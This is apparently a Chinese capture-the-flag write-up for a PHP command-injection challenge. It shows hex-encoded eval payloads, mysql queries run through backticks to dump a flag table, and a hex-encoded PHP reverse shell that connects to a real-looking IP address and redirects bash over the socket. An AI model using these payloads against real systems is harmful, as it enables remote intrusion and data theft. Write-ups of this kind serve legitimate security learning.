simple-php

法一:

payload: cmd = php -r eval(hex2bin(substr(_73797374656d28276c7327293b,1)));

知识点:

要注意的点是:system(‘ls’);分号分号分号!!!!!!

在PHP中,变量名通常以字母或下划线开始,后面跟着字母、数字或下划线的任意组合。

1
2
1.php -r   php -r eval()	表示的是运行php代码,不用使用<??>这两个符号
2.hex2bin('dfvnjjb983utgnvjmkf'),将括号里的十六进制转为原始的二进制形式,即十六进制下对应的ascii码字符串
1
2
3
4
5
6
7
做题:
1.尝试读取根目录下的flag,system('ls');,system('cat /f*') ,但是没有
2.只能从数据库里面读取,echo:是一个Shell命令,用于输出文本或变量的值到标准输出(通常是屏幕)。反引号表示执行反引号内的命令
echo `mysql -u root -p'root' -e 'use PHP_CMS;show databases;'`;
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;
注:在命令行中使用mysql命令时,-p选项后面紧接着应该是指定的密码,而且不应该有空格。这是因为-p后面直接跟的参数被认为是密码值,直到遇到下一个参数分隔符(通常是空格)为止。如果在-p和密码之间有空格,命令行解释器会认为-p后面没有紧跟密码,从而导致错误或误解密码的输入。

法二:EOT代替分号,反弹shell,但是没成功🥹,版本问题吧

1
2
3
4
cmd=php -r $a=<<<EOT
6c73
EOT;
eval(system(hex2bin($a)))

16进制编码:

1
2
$sock=fsockopen("47.121.25.95",3456);system("bash <&3 >&3 2>&3");
24736f636b3d66736f636b6f70656e282234372e3132312e32352e3935222c33343536293b73797374656d282262617368203c2633203e263320323e263322293b

fsockopen(“81.70.163.152”,82);

1
这段代码使用fsockopen函数尝试与IP地址为   的服务器在端口  上建立一个Socket连接。fsockopen用于在 PHP中创建一个到其他服务器的网络连接,常用于发送数据或接收来自远程服务器的数据。如果连接成功,会返回文件指针(资源类型),在这里赋值给了变量$sock.

system(“bash <&3 >&3 2>&3”);

1
2
3
4
5
利用system函数执行了一个shell命令,system函数用于执行外部程序,并且显示输出。这里的命令是启动一个Bash Shell,并进行了标准输入、输出、错误的重定向操作。

- `<&3` 表示将标准输入(stdin,默认为0)重定向到文件描述符3指向的地方。在大多数情况下,如果之前的操作(如`fsockopen`)没有特别指定,文件描述符3默认不会被分配,但这里假设(基于上下文理解)它是对之前建立的socket连接的引用,意味着Bash将从这个socket接收输入。
- `>&3` 是将标准输出(stdout,默认为1)重定向到文件描述符3,意味着Bash的所有正常输出也将通过这个socket发送出去。
- `2>&3` 则是将标准错误输出(stderr,默认为2)同样重定向到文件描述符3,确保任何错误信息也通过相同的socket传递。